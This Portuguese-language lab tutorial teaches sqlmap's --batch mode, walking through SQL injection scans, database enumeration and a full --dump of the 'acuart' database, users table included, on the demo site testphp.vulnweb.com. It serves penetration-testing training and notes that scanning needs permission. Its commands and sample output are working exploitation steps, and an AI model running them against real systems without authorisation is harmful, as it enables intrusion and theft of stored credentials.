Automatizar Varreduras com Modo Batch no sqlmap

MySQLBeginner
Pratique Agora

Introdução

Neste laboratório, você explorará o poderoso recurso do modo --batch no sqlmap, uma popular ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL. Embora o sqlmap seja altamente interativo por padrão, frequentemente solicitando ao usuário decisões durante uma varredura, o modo --batch permite que você execute varreduras de forma não supervisionada, escolhendo automaticamente a resposta padrão para todas as solicitações. Isso é particularmente útil para automatizar varreduras em scripts ou para avaliações em larga escala onde a intervenção manual é impraticável. Você aprenderá a diferença entre varredura interativa e não interativa, realizará uma varredura manual e, em seguida, utilizará o modo --batch para automatizar o processo, incluindo um dump completo de dados.

Compreender a Varredura Interativa vs. Não Interativa

Nesta etapa, você compreenderá a diferença fundamental entre varredura interativa e não interativa com sqlmap. Por padrão, o sqlmap é projetado para ser interativo, o que significa que ele pausará frequentemente durante uma varredura para solicitar ao usuário informações sobre várias decisões, como se deve continuar com um teste específico, usar uma determinada carga útil (payload) ou explorar uma vulnerabilidade. Essa interatividade oferece controle granular, mas pode ser incômoda para tarefas automatizadas. A varredura não interativa, por outro lado, permite que o sqlmap tome decisões padrão sem intervenção do usuário, tornando-o adequado para scripts e automação em larga escala.

Vamos começar verificando a versão do sqlmap para garantir que ele esteja instalado corretamente.

sqlmap --version

Você deverá ver uma saída semelhante a esta, indicando que o sqlmap está pronto:

sqlmap version: 1.x.x.x (rXXXX)

Agora, vamos dar uma breve olhada no menu de ajuda para ver o sinalizador --batch.

sqlmap --help | grep batch

Você verá uma saída semelhante a:

    --batch             Never ask for user input, use the default behavior.

Isso confirma a existência e o propósito do sinalizador --batch.

Executar uma Varredura e Responder às Solicitações Manualmente

Nesta etapa, você realizará uma varredura básica do sqlmap em uma URL vulnerável conhecida, sem usar o sinalizador --batch. Isso demonstrará a natureza interativa do sqlmap e as várias solicitações que ele apresenta durante uma varredura. Você precisará responder manualmente a essas solicitações para prosseguir com a varredura.

Usaremos uma URL vulnerável publicamente disponível para esta demonstração. Observe que, em um cenário do mundo real, você só deve realizar varreduras em sistemas para os quais tem permissão explícita para testar.

Execute o seguinte comando sqlmap. Preste muita atenção às perguntas que o sqlmap faz e como você precisa responder.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

À medida que a varredura avança, o sqlmap provavelmente fará várias perguntas. Por exemplo:

  • do you want to keep testing the others (if any)? [y/N] - Você pode pressionar N (Não) e depois Enter.
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - Você pode pressionar Y (Sim) e depois Enter.
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - Você pode pressionar Y (Sim) e depois Enter.

As solicitações exatas podem variar dependendo da versão do sqlmap e da resposta do alvo. O importante é observar que o sqlmap requer sua entrada para continuar.

Após a conclusão da varredura, o sqlmap relatará quaisquer vulnerabilidades detectadas.

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Essa interação manual destaca por que a automação é crucial para a eficiência.

Usar o Sinalizador --batch para Respostas Padrão Automáticas

Nesta etapa, você executará novamente a varredura do sqlmap, mas desta vez incluirá o sinalizador --batch. Este sinalizador instrui o sqlmap a usar automaticamente a resposta padrão para qualquer solicitação que encontrar, tornando a varredura efetivamente não interativa. Isso é incrivelmente útil para scripts e automação de avaliações de vulnerabilidade.

Execute o seguinte comando, adicionando o sinalizador --batch:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

Observe a saída. Você notará que o sqlmap prossegue com a varredura sem pausar para qualquer entrada do usuário. Todas as perguntas que apareceram na etapa anterior agora são respondidas automaticamente com seus valores padrão (geralmente 'sim' ou 'não', dependendo do contexto).

A saída fluirá continuamente, semelhante a isto:

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Isso demonstra o poder do modo --batch para operações não supervisionadas.

Executar um Dump Completo de Dados em Modo Batch

Nesta etapa, você combinará o sinalizador --batch com outras opções do sqlmap para realizar uma operação mais avançada: extrair todos os dados do banco de dados, tudo de forma automatizada. Isso demonstra como o modo --batch permite tarefas de exploração complexas sem intervenção manual.

Usaremos as opções --dbs (enumerar bancos de dados), --tables (enumerar tabelas), --columns (enumerar colunas) e --dump (extrair entradas) para extrair informações. Como estamos usando --batch, o sqlmap confirmará automaticamente quaisquer solicitações relacionadas a essas operações.

Primeiro, vamos tentar enumerar os bancos de dados em modo batch:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

Você deverá ver o sqlmap identificar automaticamente os bancos de dados sem pedir confirmação. A saída listará os bancos de dados encontrados, por exemplo:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

Agora, vamos tentar extrair todos os dados do banco de dados acuart. Isso envolverá a enumeração de tabelas e, em seguida, colunas, e finalmente a extração dos dados.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

Este comando instruirá o sqlmap a:

  1. Alvejar o banco de dados acuart (-D acuart).
  2. Extrair todos os dados (--dump).
  3. Fazer isso em modo batch (--batch), o que significa que ele responderá automaticamente "sim" a solicitações como "do you want to dump all tables?" (você quer extrair todas as tabelas?) ou "do you want to store hashes to a file?" (você quer armazenar hashes em um arquivo?).

A saída mostrará o sqlmap enumerando tabelas, depois colunas e, finalmente, extraindo os dados, tudo sem nenhuma solicitação. Este processo pode levar algum tempo, dependendo da quantidade de dados.

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

Isso demonstra a capacidade total de automação do sqlmap com o modo --batch para extração de dados.

Revisar os Resultados da Varredura Não Supervisionada

Nesta etapa final, você revisará os resultados das varreduras não supervisionadas realizadas usando o modo --batch. O sqlmap armazena suas descobertas, incluindo os dados extraídos, em um diretório de saída designado. Compreender onde esses resultados são armazenados é crucial para a análise pós-exploração e relatórios.

Por padrão, o sqlmap cria um diretório de saída em ~/.sqlmap/output/ (ou /root/.sqlmap/output/ se executado como root, mas neste laboratório, é ~/.sqlmap/output/). Dentro deste diretório, haverá subdiretórios nomeados após o host de destino.

Primeiro, navegue até o diretório de saída do sqlmap:

cd ~/.sqlmap/output/

Agora, liste o conteúdo deste diretório para encontrar a pasta do host de destino:

ls -F

Você deverá ver um diretório chamado testphp.vulnweb.com/ ou similar.

testphp.vulnweb.com/

Navegue para dentro do diretório do destino:

cd testphp.vulnweb.com/

Liste o conteúdo novamente. Você encontrará vários arquivos e diretórios contendo os resultados da varredura, incluindo arquivos de log, dados extraídos e outras descobertas potenciais.

ls -F

Você pode ver arquivos como log, session.sqlite e diretórios como dump/.

dump/  log  session.sqlite  target.txt

Agora, vamos verificar o diretório dump para ver os dados extraídos:

ls -F dump/

Você deverá ver um diretório para o banco de dados acuart e, dentro dele, arquivos correspondentes às tabelas extraídas (por exemplo, users.csv).

dump/acuart/

Finalmente, você pode visualizar o conteúdo de um arquivo extraído, por exemplo, o arquivo users.csv:

cat dump/acuart/users.csv

Isso exibirá os dados que o sqlmap extraiu da tabela users, confirmando o sucesso da sua extração de dados automatizada.

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

Isso conclui o laboratório sobre a automação de varreduras do sqlmap com o modo batch. Você realizou com sucesso varreduras interativas e não interativas e extraiu dados de forma automatizada.

Resumo

Neste laboratório, você adquiriu experiência prática com o modo --batch do sqlmap, um recurso crucial para automatizar avaliações de vulnerabilidade de SQL injection. Você começou entendendo a diferença entre varredura interativa e não interativa, observando como o sqlmap normalmente solicita a entrada do usuário. Em seguida, executou com sucesso varreduras usando o sinalizador --batch, demonstrando como ele otimiza o processo fornecendo automaticamente respostas padrão a todas as solicitações. Finalmente, você realizou uma extração de dados automatizada e aprendeu como localizar e revisar os resultados armazenados pelo sqlmap em seu diretório de saída. Este conhecimento é fundamental para integrar o sqlmap em pipelines de testes de segurança automatizados e para análises eficientes de vulnerabilidades em larga escala.